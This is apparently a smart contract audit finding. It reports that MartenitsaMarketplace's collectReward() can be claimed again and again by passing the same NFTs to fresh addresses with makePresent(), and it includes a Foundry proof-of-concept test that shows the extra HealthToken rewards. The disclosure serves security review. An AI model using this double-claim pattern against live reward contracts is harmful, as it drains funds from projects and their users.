If users own some NFT Tokens, users can collect some HT as one rewards. Users can earn lots of rewards via transferring(makePresent) his/her NFT Tokens.
In MartenitsaMarketplace::collectReward(), users can collect some rewards based on the amount of NFT tokens he/she owns. Users can call makePresent() to make use of multiple address to collect more rewards.
function testCollectMoreRewards() public {
address alice = makeAddr("Alice");
address cathy = makeAddr("Cathy");
vm.startPrank(chasy);
martenitsaToken.createMartenitsa("bracelet");
martenitsaToken.createMartenitsa("bracelet");
martenitsaToken.createMartenitsa("bracelet");
console.log("chasy NFT Token amount: ", martenitsaToken.getCountMartenitsaTokensOwner(chasy));
martenitsaToken.approve(address(marketplace), 0);
martenitsaToken.approve(address(marketplace), 1);
martenitsaToken.approve(address(marketplace), 2);
marketplace.makePresent(alice, 0);
marketplace.makePresent(alice, 1);
marketplace.makePresent(alice, 2);
vm.stopPrank();
vm.startPrank(alice);
marketplace.collectReward();
console.log("Alice's health token amount: ", healthToken.balanceOf(alice));
martenitsaToken.approve(address(marketplace), 0);
martenitsaToken.approve(address(marketplace), 1);
martenitsaToken.approve(address(marketplace), 2);
marketplace.makePresent(cathy, 0);
marketplace.makePresent(cathy, 1);
marketplace.makePresent(cathy, 2);
vm.stopPrank();
vm.startPrank(cathy);
marketplace.collectReward();
console.log("Cathy's health token amount: ", healthToken.balanceOf(cathy));
vm.stopPrank();
}
From the log, we can see we collect more rewards than expected via testCollectMoreRewards()
Users can collect more rewards than expected.